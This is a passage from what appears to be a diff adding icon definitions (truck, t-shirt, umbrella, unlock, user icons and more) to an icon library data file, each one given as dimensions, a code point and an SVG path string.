7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"], + "truck-moving": [640, 512, [], "f4df", "M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z"], + "truck-pickup": [640, 512, [], "f63c", "M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"], + "tshirt": [640, 512, [], "f553", "M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z"], + "tty": [512, 512, [], "f1e4", "M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"], + "tv": [640, 512, [], "f26c", "M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z"], + "umbrella": [576, 512, [], "f0e9", "M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z"], + "umbrella-beach": [640, 512, [], "f5ca", "M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z"], + "underline": [448, 512, [], "f0cd", "M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "undo": [512, 512, [], "f0e2", "M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z"], + "undo-alt": [512, 512, [], "f2ea", "M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z"], + "universal-access": [512, 512, [], "f29a", "M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z"], + "university": [512, 512, [], "f19c", "M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z"], + "unlink": [512, 512, [], "f127", "M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z"], + "unlock": [448, 512, [], "f09c", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"], + "unlock-alt": [448, 512, [], "f13e", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z"], + "upload": [512, 512, [], "f093", "M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"], + "user": [448, 512, [], "f007", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "user-alt": [512, 512, [], "f406", "M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z"], + "user-alt-slash": [640, 512, [], "f4fa", "M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z"], + "user-astronaut": [448, 512, [], "f4fb", "M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z"], + "user-check": [640, 512, [], "f4fc", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z"], + "user-circle": [496, 512, [], "f2bd", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"], + "user-clock": [640, 512, [], "f4fd", "M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z"], + "user-cog": [640, 512, [], "f4fe", "M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z"], + "user-edit": [640, 512, [], "f4ff", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z"], + "user-friends": [640, 512, [], "f500", "M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z"], + "user-graduate": [448, 512, [], "f501", "M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z"], + "user-injured": [448, 512, [], "f728", "M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z"], + "user-lock": [640, 512, [], "f502", "M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z"], + "user-md": [448, 512, [], "f0f0", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z"], + "user-minus": [640, 512, [], "f503", "M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "user-ninja": [448, 512, 